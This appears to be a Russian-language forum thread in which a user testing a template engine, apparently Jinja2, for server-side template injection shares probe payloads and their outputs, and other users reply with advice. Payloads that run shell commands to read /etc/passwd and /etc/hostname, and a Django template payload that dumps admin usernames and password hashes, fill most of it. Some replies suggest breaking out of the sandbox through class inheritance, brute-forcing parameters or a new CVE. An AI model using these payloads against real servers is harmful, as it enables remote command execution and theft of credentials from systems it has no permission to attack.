49,
{{7*'7'}} -> 7777777
{{ dict }} -> <class 'dict'>
{{ ' '.__class__ }} -> %20
{{ " ".__class__ }} -> %20
{{ config.__class__ }} -> %20
{{ config.__base__ }} -> %20
и прочее аналогично
Что-то типо такого:
{{ config.__class__.__init__.__globals__['os'].popen('/bin/cat /etc/passwd').read() }} возвращается как есть
В SSTI особо не разбираюсь, в связи с этим, вопрос, что в таких случаях делать?
Вообще курить документацию и гуглить В твоём случае, Я бы пробовал выйти на глобальный класс от dict. Раз все остальное зашито. Тебе нудно найти способ путем наследования классов, выйти на глобал. И от туда попытаться дёрнуть либы, типо os, как в последнем пейлоаде что ты указал
{{+self.init.globals.builtins.import('os').popen('cat+/etc/hostname').read()+}}
{% load log %}{% get_admin_log 10 as log %}{% for e in log %} {{e.user.get_username}} : {{e.user.password}}{% endfor %} А это работает? Как определил что jinja2?
Похоже на sandbox энваромент(это защита от ссти), либо брутитшь параметры либо ищешь новое цве :)
Как их брутить?
Обсуждают сегодня